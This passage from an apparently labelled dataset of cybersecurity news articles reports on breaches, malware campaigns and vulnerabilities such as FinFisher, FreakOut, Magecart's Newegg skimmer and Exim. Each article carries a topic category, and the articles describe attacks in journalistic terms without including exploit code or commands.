""The redirection is achieved by the legitimate download link being replaced by a malicious one,"" the researchers say. ""The malicious link is delivered to the user's browser via an HTTP 307 Temporary Redirect status response code indicating that the requested content has been temporarily moved to a new URL.""
This whole redirection process, according to researchers, is ""invisible to the naked eye"" and occurs without user's knowledge.

FinFisher Utilizing a Whole Lot of New Tricks

The new tricks employed by the latest version of FinFisher kept it from being spotted by the researchers.

The researchers also note that the latest version of FinFisher received several technical improvements in terms of stealthiness, including the use of custom code virtualization to protect the majority of its components like the kernel-mode driver.

It also makes use of anti-disassembly tricks, and numerous anti-sandboxing, anti-debugging, anti-virtualization and anti-emulation tricks, aiming at compromising end-to-end encryption software and known privacy tools.

One such secure messaging application, called Threema, was discovered by the researchers while they were analyzing the recent campaigns.
""FinFisher spyware masqueraded as an executable file named ""Threema."" Such a file could be used to target privacy-concerned users, as the legitimate Threema application provides secure instant messaging with end-to-end encryption,"" the researchers say.
""Ironically, getting tricked into downloading and running the infected file would result in the privacy-seeking user being spied upon.""
Gamma Group has not yet responded to the ESET report.

",Malware
New Bugs Could Let Hackers Bypass Spectre Attack Mitigations On Linux Systems,https://thehackernews.com/2021/03/new-bugs-could-let-hackers-bypass.html,"Cybersecurity researchers on Monday disclosed two new vulnerabilities in Linux-based operating systems that, if successfully exploited, could let attackers circumvent mitigations for speculative attacks such as Spectre and obtain sensitive information from kernel memory.
Discovered by Piotr Krysiuk of Symantec's Threat Hunter team, the flaws — tracked as CVE-2020-27170 and CVE-2020-27171 (CVSS scores: 5.5) — impact all Linux kernels prior to 5.11.8. Patches for the security issues were released on March 20, with Ubuntu, Debian, and Red Hat deploying fixes for the vulnerabilities in their respective Linux distributions.
While CVE-2020-27170 can be abused to reveal content from any location within the kernel memory, CVE-2020-27171 can be used to retrieve data from a 4GB range of kernel memory.
First documented in January 2018, Spectre and Meltdown take advantage of flaws in modern processors to leak data that are currently processed on the computer, thereby allowing a bad actor to bypass boundaries enforced by the hardware between two programs to get hold of cryptographic keys.
Put differently, the two side-channel attacks permit malicious code to read memory that they would typically not have permission to. Even worse, the attacks could also be launched remotely via rogue websites running malicious JavaScript code.
Although isolation countermeasures have been devised and browser vendors have incorporated defenses to offer protection against timing attacks by reducing the precision of time-measuring functions, the mitigations have been at an operating system level rather than a solution for the underlying issue.
The new vulnerabilities uncovered by Symantec aim to get around these mitigations in Linux by taking advantage of the kernel's support for extended Berkeley Packet Filters (eBPF) to extract the contents of the kernel memory.
""Unprivileged BPF programs running on affected systems could bypass the Spectre mitigations and execute speculatively out-of-bounds loads with no restrictions,"" Symantec said. ""This could then be abused to reveal contents of the memory via side-channels.""
Specifically, the kernel (""kernel/bpf/verifier.c"") was found to perform undesirable out-of-bounds speculation on pointer arithmetic, thus defeating fixes for Spectre and opening the door for side-channel attacks.
In a real-world scenario, unprivileged users could leverage these weaknesses to gain access to secrets from other users sharing the same vulnerable machine.
""The bugs could also potentially be exploited if a malicious actor was able to gain access to an exploitable machine via a prior step — such as downloading malware onto the machine to achieve remote access — this could then allow them to exploit these vulnerabilities to gain access to all user profiles on the machine,"" the researchers said.
News of the two flaws come weeks after Google published a proof-of-concept (PoC) code written in JavaScript to demonstrate Spectre in a web browser and leak data at a speed of 1 kilobyte per second (kB/s) when running on Chrome 88 on an Intel Skylake CPU.

",Vulnerability
Police Arrested Hackers Who Stole Millions from European ATMs,https://thehackernews.com/2016/01/european-atm-hacker.html,"Romanian law enforcement authorities have arrested eight cyber criminals suspected of being part of an international criminal gang that pilfered cash from ATMs (automatic teller machines) using malware.

The operation said to be one of the first operations of this type in Europe, was conducted in Romania and Moldova by Romanian National Police and the Directorate for Investigating Organised Crimes and Terrorism (DIICOT), with assistance from Europol, Eurojust and other European law enforcement authorities.

Europol did not provide names of any of the eight criminals arrested but said that the gang allegedly used a piece of malware, dubbed Tyupkin, to conduct what are known as Jackpotting attacks and made millions by infecting ATMs across Europe and beyond.

With the help of Tyupkin malware, the suspects were able to empty cash from infected ATMs by issuing commands through the ATM's pin pad.

""The criminal group was involved in large scale ATM Jackpotting – a term which refers to the use of a Trojan horse, physically launched via an executable file in order to target an ATM,"" Europol explained in a press release, ""thus allowing the attackers to empty the ATM cash cassettes via direct manipulation, using the ATM PIN pad to submit commands to the Trojan.""

Tyupkin was first analysed in 2014 by Kaspersky Lab following the request from a financial institution. During the investigation, Kaspersky found the malware threat on more than 50 ATMs in Eastern Europe.

The malware allows its operators to withdraw cash from ATMs without the requirement of any payment card.

Although, Europol did not specify how much money in total the criminal gang was able to plunder, it believed that the gang was able to cause ""substantial losses"" across Europe and that the losses could be in Millions.

",Malware
Windows Servers Hacked at The Hartford Insurance Company !,https://thehackernews.com/2011/04/windows-servers-hacked-at-hartford.html,"Hackers have broken into The Hartford insurance company and installed password-stealing programs on several of the company's Windows servers.
In a warning letter sent last month to about 300 employees, contractors, and a handful of customers, the company said it discovered the infection in late February. Several servers were hit, including Citrix servers used by employees for remote access to IT systems. A copy of The Hartford's letter was posted earlier this week to the website of the Office of the New Hampshire Attorney General : https://doj.nh.gov/consumer/pdf/hartford2.pdf

""It was a very small incident,"" said Debora Raymond, a company spokeswoman. The victims were mostly company employees. Less than 10 customers were affected by the malware, the W32-Qakbot Trojan, she said.

Qakbot has been around for about two years. Once installed it spreads from computer to computer in the network, taking steps to cover its tracks as it logs sensitive data and opens up back doors for the hackers to access the network.

With 28,000 employees worldwide, the 200-year-old Hartford, Connecticut, firm is one of the country's largest insurance companies.

The Hartford's letters are going out to ""users who logged onto an infected server (either through a Citrix session or support purposes)"" between Feb. 22 and Feb. 28, 2011, The Hartford said in its letter.

""We do know that the virus has the potential to capture confidential data such as bank account numbers, Social Security numbers, user accounts/logins, passwords, and credit card numbers,"" the letter states.

It's not clear how The Hartford was infected, but hackers have been targeting staffers for years now -- particularly those in IT -- with targeted e-mail attacks, trying to trick them into visiting malicious websites or downloading Trojan horse programs. Security experts say that these attacks are widespread and often methodically planned.

Despite the presence of keylogging software, the insurance company's lawyer, Debra Hampson, said that her company has ""no reason to believe that any information has been or will be misused."" Victims are being given two years' free credit monitoring.

Working with its antivirus vendor, The Hartford has cleaned up the infected servers and is working on locking down its systems. One of the steps, Hampson said: ""Providing additional privacy and information security training for employees in order to warn them of the dangers of downloading files from unknown sources on the Internet.""

Source : https://www.pcworld.com/

",Malware
U.S. Department of Defense Officials are potential target of cyber espionage via social networking sites,https://thehackernews.com/2013/05/us-department-of-defense-officials-are.html,"In the recent months I had the opportunity to conduct an interesting study on the use of Social Media in the Military Sector, large diffusion of media platforms makes them very attractive for governments and intelligence agencies. Social media platforms reveal enormous potentiality that could be exploited also in critical sectors such as military and defense.

Modern social media networks are actively used by every government, the US, China and Russia are the most active in this field, but also emerging cyber countries like Iran and North Korea demonstrates an increasing interest in the matter.

The principal uses of social media for government are
Psychological Operations (PsyOps)
OSInt
Cyber espionage
Offensive purposes
On May 10th the Illinois Air National Guard 183rd Fighter Wing published a notice in the monthly issue of a newsletter titled Falcon View. The notice, that seems to be authentic, dedicates a paragraph to the use of social networking sites for computer network exploitation.
According the notice foreign governments regularly use social networks to conduct cyber attacks against DoD, attackers adopt social engineering techniques to gather sensitive information creating ""significant operations security (OPSEC) concern"".
The impact is serious, leak of knowledge of the cyber threats could cause mission degradation or even loss of life, but great concern is also reserved to the possibility of use of social network platforms to inoculate malware in US AF networks.
""The nature of social networking sites (SNS) which promote socialization and the sharing of information makes personnel more susceptible to exploitation"" reports the notice.

The notice and with special recommendations to all Air Force members related to the use of social networks, informing on the risks related to cyber espionage conducted by state sponsored hackers:
""Finally, be aware of the security settings on these websites and do not inadvertently release sensitive information to the public because of careless use.""
Following the integral notice, Notice to Airman 2013-080-001:
(U//FOUO) EXECUTIVE SUMMERY: Nation-state adversaries regularly use accounts on popular social networking sites to facilitate social engineering against DoD members. Information disclosed or discovered on social networking sites creates a significant operations security (OPSEC) concern and in the context of a wide spread collection effort could be by adversaries to form a classified picture.
(U//FOUO) MISSION IMPACT: Poor OPSEC practices or general disclosures of sensitive information can lead to kinetic adversary responses to U.S. forces' actions, potentially leading to mission degradation or even loss of life. Additionally, malware introduced into AF networks via social network sites can degrade or disrupt operations.
(U//FOUO) DETAILS: The nature of social networking sites (SNS) which promote socialization and the sharing of information makes personnel more susceptible to exploitation. SNS applications give the common user an increased opportunity to release official information. In the past two years, there are several examples of adversaries using or attempting to use SNS for likely cyber espionage.
(U//FOUO) ACTIONS: All Air Force members must be aware that they are a potential target of cyber exploitation/espionage and take appropriate caution when using social networking sites. Do not accept contact requests from individuals who you do not personally know and trust. Additionally, hackers are known to spoof requests so that any request may appear to be from someone you know, so treat all requests with suspicion and vigilance. Only accept a request if there is a high level of certainty regarding the identity and authenticity of the requestor. Finally, be aware of the security settings on these websites and do not inadvertently release sensitive information to the public because of careless use.

",Cyber_Attack
BREACH decodes HTTPS encrypted data in 30 seconds,https://thehackernews.com/2013/08/sniffing-https-BREACH-exploit-blackhat-hacking-tool.html,"A new hacking technique dubbed BREACH can extract login tokens, session ID numbers and other sensitive information from SSL/TLS encrypted web traffic in just 30 seconds.
The technique was demonstrated at the Black Hat security conference in Las Vegas (Presentation PDF & Paper) by Gluck along with researchers Neal Harris and Angelo Prado, which allows hackers to decodes encrypted data that online banks and e-commerce sites from an HTTPS channel.
Neal, Yoel and Angelo (From left to right) at BlackHat

BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) is very targeted and don't decrypt the entire channel. BREACH manipulates data compression to pry out doses of information from HTTPS protected data, including email addresses, security tokens, and other plain text strings.

Angelo Prado told The Hacker News, ""We are using a compression oracle is leveraging the building blocks from CRIME, on a different compression context."" i.e. To execute the oracle attack, BREACH exploits the standard Deflate compression algorithm used by many websites to conserve bandwidth.
The attacker just has to continually eavesdrop on the encrypted traffic between a victim and a web server before and the exploit requires that a victim first access a malicious link, this can be done by embedding an iframe tag in a page the victim frequents.

The recovery of secret authentication cookies opens the door for attackers to pose as their victims and hijack authenticated web sessions. It is important to note that the attack is agnostic to the version of TLS/SSL, and does not require TLS-layer compression. Additionally, the attack works against any cipher suite.

",Vulnerability
Chinese Hackers Broke into the Database of U.S. Federal Employees,https://thehackernews.com/2014/07/chinese-hackers-broke-into-database-of.html,"Chinese hackers broke into the computer systems of United States government agency that keeps the personal information of all federal employees, according to the paper published in the New York Times.

The attack occurred on the Office of Personnel Management and Senior American officials believe that the attackers successfully gained access to some of the agency's databases in March before the federal authorities detected the threat and blocked them from the network.

The hackers targeted the files of tens of thousands of federal employees who have applied for top-secret security clearances, the newspaper reported.
""The intrusion at the Office of Personnel Management was particularly disturbing because it oversees a system called e-QIP, in which federal employees applying for security clearances enter their most personal information, including financial data. Federal employees who have had security clearances for some time are often required to update their personal information through the website,"" states the New York Times.
Until now, it is not clear how far the hackers were able to infiltrate the networks of the US Office of Personnel Management.

But the databases they managed to hack include information such as employment records, people seeking security clearance list their foreign contacts, previous jobs and personal data like past drug use etc, which all could be at risk.

In response to this matter, a senior Department of Homeland Security official confirmed that the attack had occurred but said that ""at this time,"" neither the personnel agency nor Homeland Security had ""identified any loss of personally identifiable information."" The official said an emergency response team was assigned and handled over the matter ""to assess and mitigate any risks identified.""

Again it started a cold war between China and the United States, because according to the senior US officials, the attack was traced to China. But yet it is unclear if the hackers belonged to the government.

Where China said that it faces a major threat from hackers, accused the NSA and U.S. Cyber Command for targeting Chinese politicians and military. The United States recently charged five Chinese military officials for carrying out cyber espionage against several American companies and stealing sensitive data by breaking into corporate systems.

",Data_Breaches
Hardware based malware steals contacts from all mobile platforms using only the Audio Jack!,https://thehackernews.com/2012/11/hardware-based-malware-steals-contacts.html,"Indian Security Research Atul Alex presented his surprise paper at the International Malware Conference, MalCon on what can be termed as the onset of next generation of hardware based malware that can target mobile devices irrespective of Platforms.

Typically, one of the largest challenges for malware coders are to target multiple platforms. A malware for Android will not work in Windows phone, Symbian or Apple iOS, which come in way of malware coders. Also, devices such as iPhone are extremely secure and there is little that can be extracted from a locked / secure iPhone, unless they are jailbroken.
Atul Alex's research abuses voice dialing feature which is enabled by default on all mobile platforms - and combines a bugged headset with a micro controller and code to steal private data. The bugged headset can also dial a pre-defined number by detecting if the device is in use or not and turn the phone into a spy device. Further, it can steal contacts from all devices - Blackberry, iphone, Symbian, Windows and Android, without putting a malware inside the mobile phone.

The bugged headset can in fact mimic voice commands and send it to the device discretely - and Alex mentioned that advanced software like SIRI can infact aid hackers in future in sending unauthorized text messages as well as extract personal data and device information.

Any mobile device running Google Android, Microsoft Windows Phone, Apple IOS 5, or Blackberry OS provides voice command capabilities. Some of the other possible things include knowing call duration and even record incoming and outgoing calls of users. And all this is possible just by plugging a bugged headset into the Audio jack.

This has long term future implications and provides a grim future with electronics warfare. Malwares can now target people across all platforms, irrespective of 0-days in browsers, OS etc present or not.. and the last thing one would suspect is a gifted headset or speaker dock for your device.

",Malware
FreakOut! Ongoing Botnet Attack Exploiting Recent Linux Vulnerabilities,https://thehackernews.com/2021/01/freakout-ongoing-botnet-attack.html,"An ongoing malware campaign has been found exploiting recently disclosed vulnerabilities in network-attached storage (NAS) devices running on Linux systems to co-opt the machines into an IRC botnet for launching distributed denial-of-service (DDoS) attacks and mining Monero cryptocurrency.
The attacks deploy a new malware variant called ""FreakOut"" by leveraging critical flaws fixed in Laminas Project (formerly Zend Framework) and Liferay Portal as well as an unpatched security weakness in TerraMaster, according to Check Point Research's new analysis published today and shared with The Hacker News.
Attributing the malware to be the work of a long-time cybercrime hacker — who goes by the aliases Fl0urite and Freak on HackForums and Pastebin at least since 2015 — the researchers said the flaws — CVE-2020-28188, CVE-2021-3007, and CVE-2020-7961 — were weaponized to inject and execute malicious commands in the server.
Regardless of the vulnerabilities exploited, the end goal of the attacker appears to be to download and execute a Python script named ""out.py"" using Python 2, which reached end-of-life last year — implying that the threat actor is banking on the possibility that that victim devices have this deprecated version installed.
""The malware, downloaded from the site hxxp://gxbrowser[.]net, is an obfuscated Python script which contains polymorphic code, with the obfuscation changing each time the script is downloaded,"" the researchers said, adding the first attack attempting to download the file was observed on January 8.
And indeed, three days later, cybersecurity firm F5 Labs warned of a series of attacks targeting NAS devices from TerraMaster (CVE-2020-28188) and Liferay CMS (CVE-2020-7961) in an attempt to spread N3Cr0m0rPh IRC bot and Monero cryptocurrency miner.
An IRC Botnet is a collection of machines infected with malware that can be controlled remotely via an IRC channel to execute malicious commands.
In FreakOut's case, the compromised devices are configured to communicate with a hardcoded command-and-control (C2) server from where they receive command messages to execute.
The malware also comes with extensive capabilities that allow it to perform various tasks, including port scanning, information gathering, creation and sending of data packets, network sniffing, and DDoS and flooding.
Furthermore, the hosts can be commandeered as a part of a botnet operation for crypto-mining, spreading laterally across the network, and launching attacks on outside targets while masquerading as the victim company.
With hundreds of devices already infected within days of launching the attack, the researchers warn, FreakOut will ratchet up to higher levels in the near future.
For its part, TerraMaster is expected to patch the vulnerability in version 4.2.07. In the meantime, it's recommended that users upgrade to Liferay Portal 7.2 CE GA2 (7.2.1) or later and laminas-http 2.14.2 to mitigate the risk associated with the flaws.
""What we have identified is a live and ongoing cyber attack campaign targeting specific Linux users,"" said Adi Ikan, head of network cybersecurity Research at Check Point. ""The attacker behind this campaign is very experienced in cybercrime and highly dangerous.""
""The fact that some of the vulnerabilities exploited were just published, provides us all a good example for highlighting the significance of securing your network on an ongoing basis with the latest patches and updates.""

",Malware
Thousands of MikroTik Routers Hacked to Eavesdrop On Network Traffic,https://thehackernews.com/2018/09/mikrotik-router-hacking.html,"Last month we reported about a widespread crypto-mining malware campaign that hijacked over 200,000 MikroTik routers using a previously disclosed vulnerability revealed in the CIA Vault 7 leaks.

Now Chinese security researchers at Qihoo 360 Netlab have discovered that out of 370,000 potentially vulnerable MikroTik routers, more than 7,500 devices have been compromised to enable Socks4 proxy maliciously, allowing attackers to actively eavesdrop on the targeted network traffic since mid-July.

The vulnerability in question is Winbox Any Directory File Read (CVE-2018-14847) in MikroTik routers that was found exploited by the CIA Vault 7 hacking tool called Chimay Red, along with another MikroTik's Webfig remote code execution vulnerability.

Both Winbox and Webfig are RouterOS management components with their corresponding communication ports as TCP/8291, TCP/80, and TCP/8080. Winbox is designed for Windows users to easily configure the routers that download some DLL files from the router and execute them on a system.

According to the researchers, more than 370,000 of 1.2 million MikroTik routers are still vulnerable to the CVE-2018-14847 exploit, even after the vendor has already rolled out security updates to patch the loophole.

Netlab researchers have identified malware exploiting the CVE-2018-14847 vulnerability to perform various malicious activities, including CoinHive mining code injection, silently enabling Socks4 proxy on routers, and spying on victims.

CoinHive Mining Code Injection — After enabling the Mikrotik RouterOS HTTP proxy, the attackers redirect all the HTTP proxy requests to a local HTTP 403 error page which injects a link for web mining code from Coinhive.
""By doing this, the attacker hopes to perform web mining for all the proxy traffic on the users' devices,"" the researchers explain.
""What is disappointing for the attacker though, the mining code does not work in this way, because all the external web resources, including those from coinhive.com necessary for web mining, are blocked by the proxy ACLs set by attackers themselves.""
Maliciously Enabling Sock4 Proxy — Silently enabling the Socks4 port or TCP/4153 on victims device allows an attacker to gain control of the device even after it has been rebooted (IP change) by periodically reporting its latest IP address to the attacker's URL.

According to the researchers, at present, a total of 239,000 IP addresses are confirmed to have Socks4 proxy enabled maliciously, eventually allowing attackers to continuously scan more MikroTik RouterOS devices using these compromised Socks4 proxy.

Eavesdropping on Victims — Since the MikroTik RouterOS devices allow users to capture packets on the router and forward them to the specified Stream server, attackers are forwarding the traffic from compromised routers to IP addresses controlled by them.
""At present, a total of 7.5k MikroTik RouterOS device IPs have been compromised by the attacker, and their TZSP traffic is being forwarded to some collecting IP addresses,"" the researchers say.
""We also noticed the SNMP port 161 and 162 are also top on the list. This deserve some questions, why the attacker is paying attention to the network management protocol regular users barely use? Are they trying to monitor and capture some special users' network SNMP community strings?""
The victims are spread across various countries Russia, Iran, Brazil, India, Ukraine, Bangladesh, Indonesia, Ecuador, the United States, Argentina, Colombia, Poland, Kenya, Iraq, and some European and Asian countries, with Russia being the most affected.

Netlab did not share the IP addresses of the victims to the public for security reasons but said that relevant security entities in affected countries can contact the company for a full list of infected IP addresses.

The best way to protect yourself is to PATCH. MikroTik RouterOS users are highly recommended to update their devices and also check if the HTTP proxy, Socks4 proxy, and network traffic capture function are being maliciously exploited.
",Cyber_Attack
CISA Issues Emergency Directive on In-the-Wild Microsoft Exchange Flaws,https://thehackernews.com/2021/03/cisa-issues-emergency-directive-on-in.html,"Following Microsoft's release of out-of-band patches to address multiple zero-day flaws in on-premises versions of Microsoft Exchange Server, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency directive warning of ""active exploitation"" of the vulnerabilities.
The alert comes on the heels of Microsoft's disclosure that China-based hackers were exploiting unknown software bugs in Exchange server to steal sensitive data from select targets, marking the second time in four months that the U.S. has scrambled to address a widespread hacking campaign believed to be the work of foreign threat actors.
While the company mainly attributed the campaign to a threat group called HAFNIUM, Slovakian cybersecurity firm ESET said it found evidence of CVE-2021-26855 being actively exploited in the wild by several cyber espionage groups, including LuckyMouse, Tick, and Calypso targeting servers located in the U.S., Europe, Asia, and the Middle East.
Researchers at Huntress Labs have also sounded the alarm about mass exploitation of Exchange servers, noting that over 350 web shells have been discovered across approximately 2,000 vulnerable servers.
""Among the vulnerable servers, we also found over 350 web shells — some targets may have more than one web shell, potentially indicating automated deployment or multiple uncoordinated actors,"" Huntress senior security researcher John Hammond said. ""These endpoints do have antivirus or EDR solutions installed, but this has seemingly slipped past a majority of preventative security products.""
The latest development indicates a much larger spread that extends beyond the ""limited and targeted"" attacks reported by Microsoft earlier this week.
It's not clear if any U.S. government agencies have been breached in the campaign, but the CISA directive underscores the urgency of the threat.
Strongly urging organizations to apply the patches as soon as possible, the agency cited the ""likelihood of widespread exploitation of the vulnerabilities after public disclosure and the risk that federal government services to the American public could be degraded.""

",Vulnerability
Beware! You Can Get Hacked Just by Opening a 'JPEG 2000' Image,https://thehackernews.com/2016/10/openjpeg-exploit-hack.html,"Researchers have disclosed a critical zero-day vulnerability in the JPEG 2000 image file format parser implemented in OpenJPEG library, which could allow an attacker to remotely execute arbitrary code on the affected systems.

Discovered by security researchers at Cisco Talos group, the zero-day flaw, assigned as TALOS-2016-0193/CVE-2016-8332, could allow an out-of-bound heap write to occur that triggers the heap corruption and leads to arbitrary code execution.

OpenJPEG is an open-source JPEG 2000 codec. Written in C language, the software was developed for coding and encoding JPEG2000 images, a format that is often used for tasks like embedding image files within PDF documents through popular software including PdFium, Poppler, and MuPDF.

Hackers can exploit the security vulnerability by tricking the victim into opening a specially crafted, malicious JPEG2000 image or a PDF document containing that malicious file in an email.

The hacker could even upload the malicious JPEG2000 image file to a file hosting service, like Dropbox or Google Drive, and then send that link to the victim.

Once downloaded to the system, it would create a way for hackers to remotely execute malicious code on the affected system.

The flaw was caused ""due to an error while parsing mcc records in the jpeg2000 file,...resulting in an erroneous read and write of adjacent heap area memory,"" Cisco explained in its advisory.

""Careful manipulation of heap layout and can lead to further heap metadata process memory corruption ultimately leading to code execution under attacker control.""

The researchers successfully tested the JPEG 2000 image exploit on the OpenJPEG openjp2 version 2.1.1. The flaw was discovered by Aleksandar Nikolic from the Cisco Talos Security team.

The team reported the zero-day flaw to OpenJPEG developers in late July, and the company patched the flaw last week with the release of version 2.1.2.

The vulnerability has been assigned a CVSS score of 7.5, categorizing it as a high-severity bug.

",Vulnerability
Hackers Steal Customers' Credit Cards From Newegg Electronics Retailer,https://thehackernews.com/2018/09/newegg-credit-card-hack.html,"The notorious hacking group behind the Ticketmaster and British Airways data breaches has now victimized popular computer hardware and consumer electronics retailer Newegg.

Magecart hacking group managed to infiltrate the Newegg website and steal the credit card details of all customers who entered their payment card information between August 14 and September 18, 2018, according to a joint analysis from Volexity and RiskIQ.

Magecart hackers used what researchers called a digital credit card skimmer wherein they inserted a few lines of malicious Javascript code into the checkout page of Newegg website that captured payment information of customers making purchasing on the site and then send it to a remote server.

Active since at least 2015, the Magecart hacking group registered a domain called neweggstats(dot)com on August 13, similar to Newegg's legitimate domain newegg.com, and acquired an SSL certificate issued for the domain by Comodo for their website.

A day later, the group inserted the skimmer code into the Newegg website at the payment processing page, so that it would not come into play until or unless the payment page was hit.

So, when customers add a product in their shopping cart, enter their delivery information during the first step of the check-out, and validate their address, the website takes them to the payment processing page to enter their credit card information.
As soon as the customer hit submit button after entering their credit card information, the skimmer code immediately sends a copy that data to the attacker's domain, i.e., neweggstats(dot)com without interrupting the checkout process.

Newegg Hack May Affect Millions of Customers

The attack affected both desktop and mobile customers, though it is still unclear how many customers were actually hit by this credit card breach.

However, considering that more than 50 million shoppers visit Newegg every month and that the malicious code was there for over one month, it could be assumed that this Magecart newest card skimming campaign has possibly stolen the payment information on millions of Newegg customers, even if only a fraction of those visitors make purchases.

Earlier this month, the Magecart hacking group breached the British Airways website and its mobile application and managed to walk away with a bounty of sensitive payment card data from 380,000 victims.
""The skimmer code [used in the Newegg breach] is recognizable from the British Airways incident, with the same basecode,"" RiskIQ researchers said.
""All the attackers changed is the name of the form it needs to serialize to obtain payment information and the server to send it to, this time themed with Newegg instead of British Airways.""
In the Newegg case, the hackers used smaller skimmer code of ""a tidy 15 lines of script,"" since it only had to serialize one form.

If you are one of those Newegg customers who entered their credit card details on the website during the attack period, you should immediately contact your bank, block your payment card, and request for a replacement.

However, the way Magecart is scooping up payment card data from popular services with relatively little efforts suggests that Newegg probably will not be its last target.
",Cyber_Attack
New Critical Exim Flaw Exposes Email Servers to Remote Attacks — Patch Released,https://thehackernews.com/2019/09/exim-email-security-vulnerability.html,"A critical security vulnerability has been discovered and fixed in the popular open-source Exim email server software, which could allow a remote attacker to simply crash or potentially execute malicious code on targeted servers.

Exim maintainers today released an urgent security update—Exim version 4.92.3—after publishing an early warning two days ago, giving system administrators an early head-up on its upcoming security patches that affect all versions of the email server software from 4.92 up to and including then-latest version 4.92.2.

Exim is a widely used, open source mail transfer agent (MTA) developed for Unix-like operating systems like Linux, Mac OSX or Solaris, which runs almost 60 percent of the Internet's email servers today for routing, delivering and receiving email messages.

This is the second time in this month when the Exim maintainers have released an urgent security update. Earlier this month, the team patched a critical remote code execution flaw (CVE-2019-15846) in the software that could have allowed remote attackers to gain root-level access to the system.

Identified as CVE-2019-16928 and discovered by Jeremy Harris of Exim Development Team, the vulnerability is a heap-based buffer overflow (memory corruption) issue in string_vformat defined in string.c file of the EHLO Command Handler component.


The security flaw could allow remote attackers to cause a denial of service (DoS) condition or execute arbitrary code on a targeted Exim mail server using a specially crafted line in the EHLO command with the rights of the targeted user.

According to the Exim advisory, a currently known PoC exploit for this vulnerability allows one to only crash the Exim process by sending a long string in the EHLO command, though other commands could also be used to potentially execute arbitrary code.

""The currently known exploit uses an extraordinary long EHLO string to crash the Exim process that is receiving the message,"" says the Exim developers' team.

""While at this mode of operation, Exim already dropped its privileges, other paths to reach the vulnerable code may exist.""

In mid-year, Exim also patched a severe remote command execution vulnerability (CVE-2019-10149) in its email software that was actively exploited in the wild by various groups of hackers to compromise vulnerable servers.

Therefore, server administrators are highly recommended to install the latest Exim 4.92.3 version as soon as possible, since there is no known mitigation to temporarily resolve this issue.

The team also says, ""if you can't install the above versions, ask your package maintainer for a version containing the backported fix. On request and depending on our resources, we will support you in backporting the fix.""

The security update is available for Linux distributions, including Ubuntu, Arch Linux, FreeBSD, Debian, and Fedora.

",Vulnerability
'The Home Depot' Data Breach Put 56 Million Payment Cards at Risk,https://thehackernews.com/2014/09/the-home-depot-data-breach-put-56_18.html,"Home Depot, the nation's largest home improvement retailer, announced on Thursday that a total of 56 million unique payment cards were likely compromised in a data breach at its stores, suggesting that the data breach on Home improvement chain was larger than the Target data breach that occurred last year during Christmas holidays.

The data theft occurred between April and September at Home Depot stores in both the United States and Canada, but the confirmation comes less than a week after the retailer first disclosed the possibility of a breach.
""We apologize to our customers for the inconvenience and anxiety this has caused, and want to reassure them that they will not be liable for fraudulent charges,"" Home Depot CEO Frank Blake said in a statement. ""From the time this investigation began, our guiding principle has been to put our customers first, and we will continue to do so.""
It is believe that the cybercriminals successfully compromised the Home Depot's network and installed a unique, custom-built software on the company's point-of-sale (PoS) systems in order to steal information on its customers' debit and credit cards and siphoned off to cyber crooks, the company stated.

The nasty malware used to infect the company's system had not been seen in any of the previous cyber attacks. The malware was designed to evade detection in its most complete account.

In upcoming days, the payment cards details are believed to be sold in underground black market, resulting in identity theft to millions of customers. But to help its customers, Home Depot also said that it is offering free identity protection services to those customers who may have been affected by the data breach.

According to the Home improvement retailer, so far the costs of the data breach is estimated to be $62 million, but it could reach much higher because the full scope, scale and impact of the breach has yet to be determined, so it may take months in calculating the actual loss.
""To protect customer data until the malware was eliminated, any terminals identified with malware were taken of out service, and the company quickly put in place other security enhancements,"" Home Depot said in its statement. ""The hacker's method of entry has been closed off, the malware has been eliminated from the company's systems, and the company has rolled out enhanced encryption of payment data to all U.S. stores.""
The company assured its customers that no PINs were obtained in the data breach and it found no evidence of fraud on the compromised accounts yet. Also there is no evidence that anyone who shopped at stores in Mexico or shopped online at the retailer's website were affected.

As a part of its efforts, the DIY giant has completed a ""major payment security project"" in order to provide enhanced encryption at the point of sale in the company's U.S. stores. This project will be completed in Canadian outlets by early 2015, offering significant new protection for customers.

The exposure of the data breach put Home Depot in the list of firms that have been compromised by point-of-sale malware, in which the U.S. retailer Target topped the list. However in coming weeks, Home Depot breach may give a tough competition to Target breach, which resulted in the loss of 40 million cards and the personal information of 70 million individuals, lasted three weeks during the 2013 holiday shopping season.

",Data_Breaches
Oops! Adult Dating Website Ashley Madison Hacked; 37 Million Accounts Affected,https://thehackernews.com/2015/07/adult-dating-website.html,"""Life is short. Have an affair,"" but always remember ""Cheaters never prosper.""

AshleyMadison.com, an American most prominent dating website, that helps married people cheat on their spouses has been hacked, potentially putting very private details of Millions of its users at risk of being exposed.

The Stolen personal data may include information from users' real names, addresses and their personal photographs to credit card details and sexually explicit chat logs.

With a Huge Database of over 37 Million users, AshleyMadison.com, owned by Avid Life Media (ALM) company, is a very popular dating website that helps married people have extramarital affairs.

Cougar Life and Established Men, two other dating sites also owned by Avid Life Media, have also had their data compromised.

The Hacker group responsible for the hacks called itself ""The Impact Team,"" a company spokesperson confirmed.

The group apparently raises an objection to the website's morally dubious business model and were threatening the company to release all its customer records if the Ashley Madison and Established Men are not completely shut down.

The Impact Team claims to have complete access to not only personal account information of the company's customers, but also their secret sexual fantasies and matching credit card transactions, names, residential addresses, employee documents and emails.

Reason behind the Ashley Madison Hack

The Impact Team of hackers appears to be upset over a website's service called ""Full Delete"" that promises to erase a customer's profile and all associated data for a $19 fee completely.

However, according to the Impact Team, Ashley Madison made money from the paid ""Full Delete"" service that does not work.

""Full Delete netted [Avid Life Media] $1.7mm in revenue in 2014. It's also a complete lie,"" the group wrote in a statement released Sunday. ""Users almost always pay with the credit card; their purchase details are not removed as promised and include real name and address, which is, of course, the most important information the users want to be removed.""

The company denied the claims, however, is now temporarily offering its customers the ability to delete their account completely from the website free of charge.

If you are Ashley Madison customer, You should Worry

Avid Life Media is working with law enforcement agencies to investigate this criminal act and also using Digital Millennium Copyright Act to get the personal data the hackers have disclosed so far removed from the Internet.

However, It's unlikely to be a prevention measure, because once the personal data has been publicly exposed over the Internet, it becomes almost next to impossible to stop its spread.


Also Read: Lessons We Learned From Ashley Madison Data Breach

",Data_Breaches
75% of the 'Left to Get Hacked' Redis Servers Found Infected,https://thehackernews.com/2018/06/redis-server-hacking.html,"Despite the continual emergence of new cyber attacks because of misconfigured servers and applications, people continue to ignore security warnings.

A massive malware campaign designed to target open Redis servers, about which researchers warned almost two months ago, has now grown and already hijacked at least 75% of the total servers running publicly accessible Redis instances.

